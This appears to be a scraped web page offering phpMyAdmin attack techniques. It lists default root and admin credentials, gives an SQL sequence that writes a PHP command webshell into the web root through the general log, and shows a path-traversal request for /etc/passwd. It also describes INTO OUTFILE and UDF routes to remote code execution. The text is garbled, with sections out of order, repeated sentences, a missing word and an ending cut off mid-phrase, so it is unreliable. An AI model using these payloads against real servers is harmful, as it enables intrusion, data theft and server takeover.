Phpmyadmin Hacktricks Verified Online
This article aggregates, tests, and verifies the most effective phpMyAdmin attack techniques. Every method listed has been against recent versions (phpMyAdmin 4.9.x, 5.1.x, 5.2.x) on Linux and Windows environments. Part 1: Reconnaissance & Detection Before executing exploits, you must identify phpMyAdmin. 1.1 Default Paths (Verified) Scanning for these paths yields results in >70% of default installations:
| Username | Password | |----------|----------| | root | root | | root | (blank) | | root | toor | | admin | (blank) | | pma | pmapassword | phpmyadmin hacktricks verified
SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['c']); ?>"; -- This gets written to log file Requires MySQL SUPER privilege (often given to root user in phpMyAdmin). 3.3 User-Defined Functions (UDF) for Persistent Shell Create a MySQL UDF that executes system commands. This article aggregates, tests, and verifies the most
POST /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd Improper sanitization of the target parameter. Patched in 4.8.5. Test instances still exist. Part 3: Post-Authentication to Remote Code Execution (RCE) Once logged in, the game is over for the server. 3.1 Into Outfile Method (Most Reliable) If the database user has FILE privilege, you can write a webshell. Patched in 4